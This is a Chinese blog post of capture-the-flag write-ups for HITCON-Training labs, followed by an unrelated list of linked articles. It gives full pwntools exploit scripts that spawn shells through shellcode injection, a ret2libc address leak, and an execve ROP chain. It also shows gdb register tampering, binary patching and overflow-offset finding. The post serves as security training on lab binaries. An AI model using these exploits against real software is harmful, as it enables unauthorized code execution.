0x01.lab3

首先checksec一下,发现连NX保护都没开,结合题目提示ret2sc,确定可以使用shellcode得到权限。

IDA查看伪代码

大致分析:

将shellcode写入name数组,v4溢出之后定向至name所在地址从而运行shellcode。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import * elf = ELF('./ret2sc')
io = process('./ret2sc') io.recvuntil(':')
payload1 = asm(shellcraft.sh())
io.sendline(payload1) io.recvuntil(':')
name_addr = 0x0804A060
payload2 = flat(['a' * 0x1C + 'f**k' , name_addr])
io.sendline(payload2) io.interactive()

0x02. lab4

大致分析:

首先checksec一下,发现开了NX保护,但是没开栈保护,于是栈溢出。

IDA查看伪代码

一开始认为这是再也普通不过的代码...后来才知道大有玄机。

第一:see_something这个函数可以将你输入的地址找到其在运行中的真实地址,这很重要。

第二:像read,puts这样简单的函数可以被用来寻找“偏移量“。

解题思路:

首先获取libc库的版本,在M4x学长的指导下了解到ldd这个命令。

得到libc版本及所在位置:libc.so.6 & /lib/i386-linux-gnu/libc.so.6

然后就是得到偏移量,计算出system函数和“/bin/sh”字符串的真实地址,获取shell。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import * io = process('./ret2lib')
elf = ELF('./ret2lib') libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next() puts_got = elf.got['puts']
io.recvuntil(':')
io.sendline(str(puts_got))
io.recvuntil('0x')
puts_addr = int(io.putsuntil('\n'),16)
#print puts_addr offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh_addr = binsh_libc + offset io.recvuntil(':')
payload = flat([ 'a'*60 , system_addr , 0xdeadbeef , binsh_addr ])
io.sendline(payload) io.interactive()
io.close()

0x03. lab5

这题开的保护和上题一样,不过思路相差甚多。由于我也只用了一种方法,在这里就记录一下。

小知识:

寄存器中有eax,ebx,ecx,edx等。

Linux下的系统调用通过int 80h实现,用系统调用号来区分入口函数,其中寄存器eax存放调用号,剩下的几个参数存放参数。

解题思路:

有了前面的知识的了解,可以大致知道解题过程。

我们需要调用的是system函数,其调用号为0xb,于是eax里存放的就是0xb;

接下来应该有三个参数,其中ebx = “/bin/sh", ecx = 0, edx = 0。但是有一个问题,32位寄存器只能存放4个字节大小的数据,而“/bin/sh”有7个字节。这里我们可以把“/bin/sh”存进.data段,ebx存放.data段的地址,从而达到目的。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import * io = process('./simplerop') eax_ret = 0x080bae06
edx_ret = 0x0806e82a
edx_ecx_ebx_ret = 0x0806e850
data_addr = 0x080EA060
gadget_ret = 0x0809a15d # mov dword ptr [edx], eax ; ret
int_0x80_addr = 0x080493e1 # 写入data段 # 第一句首先将read溢出至return,然后将对data_addr赋给edx,将“/bin”字符串赋给eax;
# 接着用gadget将eax的值赋给edx的值(即data_addr)的内容。
payload = flat(['a'*32, edx_ret, data_addr, eax_ret, "/bin",gadget_ret])
# 第二句作用类似。
payload += flat([edx_ret, data_addr+4, eax_ret, "/sh\x00", gadget_ret]) # 调用系统execve
# 这里执行之后的结果是:eax = 0xb, ebx = data_addr, ecx = 0, edx = 0
payload += flat([edx_ecx_ebx_ret, 0, 0, data_addr, eax_ret, 0xb, int_0x80_addr]) io.recvuntil(":")
io.sendline(payload)
io.interactive()

0x04 [HITCON-training] lab1

这题我用了三种方法,这里记录一下

方法一:当逆向直接做

这题如果当逆向做的话就很简单了,主要记录一个小技巧

来源:http://www.cnblogs.com/WangAoBo/p/7706719.html

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55" key1 = 'Do_you_know_why_my_teammate_Orange_is_so_angry???'
key2 = [7,073,25,2,11,16,61,30,9,8,18,45,40,89,10,0,30,22,0,4,85,22,8,31,7,1,9,0,126,28,62,10,30,11,107,4,66,60,44,91,49,85,2,30,33,16,76,30,66]
flag = ''
for i in range(len(key1)):
flag += chr( ord(key1[i]) ^ key2[i] )
print flag #CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}

方法二:动态调试,使得我们输入的v2等于随机出来的buf

首先在函数get_flag和scanf处下断点

b *0x0804859B
b *0x08048712

运行,两次c(ontinue)后到达输入,随便输入一个数,这里我输入132,n(ext)。

然后发现,如果edx=eax,便可通过验证。

[----------------------------------registers-----------------------------------]
EAX: 0x84
EBX: 0x0
ECX: 0x1
EDX: 0x31f9d99
ESI: 0x1
EDI: 0xf7fb1000 --> 0x1b2db0
EBP: 0xffffd428 --> 0xffffd438 --> 0x0
ESP: 0xffffd3a0 --> 0x804a020 --> 0xf7e5dff0 (<setvbuf>: push ebp)
EIP: 0x8048720 (<get_flag+389>: cmp edx,eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048717 <get_flag+380>: add esp,0x10
0x804871a <get_flag+383>: mov edx,DWORD PTR [ebp-0x80]
0x804871d <get_flag+386>: mov eax,DWORD PTR [ebp-0x7c]
=> 0x8048720 <get_flag+389>: cmp edx,eax
0x8048722 <get_flag+391>: jne 0x8048760 <get_flag+453>
0x8048724 <get_flag+393>: mov DWORD PTR [ebp-0x78],0x0
0x804872b <get_flag+400>: jmp 0x8048758 <get_flag+445>
0x804872d <get_flag+402>: lea edx,[ebp-0x6f]

于是在运行到cmp处,

set $eax=0x31f9d99
或者 set $edx=0x84

然后一直n(ext)执行,便可在eax处看到flag的每一位(因为程序中是putchar,故只能一个一个看)。

方法三:将验证的地方patch

Edit->Patch program->Assemble: nop

0x05. 写在最后

这里主要想记录下如何寻找刚好能覆盖到return_addr的字节数,我用的是gdb-peda提供的pattern_create和pattern_offset。

以lab4为例:

首先在lab4目录下执行

root@libo:~/Desktop/HITCON-Training-master/LAB/lab4# gdb ret2lib
gdb-peda$ pattern_create 200
gdb-peda$ r

第一个输入点不是我们需要的,所以这里我输入的是main函数的地址134514045(十进制)。

第二个输入点输入之前pattern_create的字符串使其溢出,然后执行pattern_offset得到覆盖到return的字节数。

作者: LB919

出处:http://www.cnblogs.com/L1B0/

如有转载,荣幸之至!请随手标明出处;

HITCON-Training-master 部分 Writeup(1月30更新)的更多相关文章

  1. hackme.inndy.tw的一些Writeup(5月30更新)

    hackme.inndy.tw的一些Writeup(6月3日更新) 原文链接:http://www.cnblogs.com/WangAoBo/p/7706719.html 推荐一下https://ha ...

  2. 2016年12月30日 星期五 --出埃及记 Exodus 21:25

    2016年12月30日 星期五 --出埃及记 Exodus 21:25 burn for burn, wound for wound, bruise for bruise.以烙还烙,以伤还伤,以打还打 ...

  3. 11月30日《奥威Power-BI智能分析报表制作方法》腾讯课堂开课啦

    这么快一周就过去了,奥威公开课又要与大家见面咯,上节课老师教的三种报表集成方法你们都掌握了吗?大家都知道,学习的结果在于实际应用,想要熟练掌握新内容的要点就在于去应用它.正是基于这一要点,每一期的课程 ...

  4. 2016年11月30日 星期三 --出埃及记 Exodus 20:21

    2016年11月30日 星期三 --出埃及记 Exodus 20:21 The people remained at a distance, while Moses approached the th ...

  5. 2016年10月30日 星期日 --出埃及记 Exodus 19:15

    2016年10月30日 星期日 --出埃及记 Exodus 19:15 Then he said to the people, "Prepare yourselves for the thi ...

  6. 2016年6月30日 星期四 --出埃及记 Exodus 14:27

    2016年6月30日 星期四 --出埃及记 Exodus 14:27 Moses stretched out his hand over the sea, and at daybreak the se ...

  7. 8月30号周五香港接单ING~~化妆品只加10元!!!!!!

    8月30号周五香港接单ING~~化妆品只加10元!!!!!! 8月30号周五香港接单ING~~化妆品只加10元!!!!!!

  8. 10 月 30 日新款 Mac mini 有望与新款 iPad Pro 一起发布

    苹果最新款的 Mac mini 是在 2014 年 10 月推出的版本,到现在已经过了 4 年.分析师郭明錤和彭博社的 Mark Gurman 都表示苹果会在今年晚些时候发布新款 Mac mini. ...

  9. 北京Uber优步司机奖励政策(3月30日)

    滴快车单单2.5倍,注册地址:http://www.udache.com/ 如何注册Uber司机(全国版最新最详细注册流程)/月入2万/不用抢单:http://www.cnblogs.com/mfry ...

随机推荐

  1. CAN报文格式

    CAN协议的报文传输过程中有:数据帧.远程帧.错误帧.过载帧和帧间隔. 1.数据帧:用于发送节点向接收节点传送数据的帧. 2.远程帧:用于接收节点向具有相同ID的发送节点传送数据的帧. 3.错误帧:用 ...

  2. HTML的图像标签

    网页的图像标签 常见的图像格式 JPG GIF PNG BMP 图像标签可以带属性,格式为: <img src="path" alt="text" tit ...

  3. 题解【POJ2155】Matrix

    Description Given an \(N \times N\) matrix \(A\), whose elements are either \(0\) or \(1\). \(A[i, j ...

  4. selenium chromedriver退出报错

    记录使用python调用chromedriver时遇到的问题 代码: #!/usr/bin/env python #-*- coding:utf-8 -*- # author : fy # versi ...

  5. Blocked Billboard II

    前言 今天比赛真的状态不好(腐了一小会),导致差点爆0. 这个题解真的是在非常非常专注下写出来的,要不然真的心态崩. 刚换了域名,发现了美化脚本的bug,有点担心(汗-_-||). 题目 题目描述 奶 ...

  6. VIM学习(转)

    原文:http://www.cnblogs.com/nerxious/archive/2012/12/21/2827303.html 断断续续的使用VIM也一年了,会的始终都是那么几个命令,效率极低 ...

  7. Kubernetes 升级记录:从 1.16.3 升级至 1.17.0

    参考官方文档 Upgrading kubeadm clusters 在 ubuntu 18.04 上完成了升级,记录一下升级步骤. 一.升级第一个 master 节点 apt-get 安装 kubea ...

  8. buuctf 基础破解

    首先下载压缩包 解压之后发现是另一个压缩包 另一个压缩包上写着基础破解 然后用暴力破解的方法破解 然后搜了一下 暴力破解一般的长度是多少 然后搜到的结果是 长度为8的时候电脑都要破解好几年 所以我猜测 ...

  9. 【渗透测试】ZipperDown 漏洞分析

    0x01 漏洞危害 1. 在使用 HTTP 下载 zip 包并使用有问题的第三方库 unzip 时,攻击者通过劫持 HTTP 流量,可以导致 APP 下载一个恶意的 zip 包,在解压 zip 包时可 ...

  10. 多表更新:update,join

    1.多表更新: 下面我建两个表,并执行一系列sql语句,仔细观察sql执行后表中数据的变化,很容易就能理解多表联合更新的用法. 前期准备工作: update join_teacher_class jo ...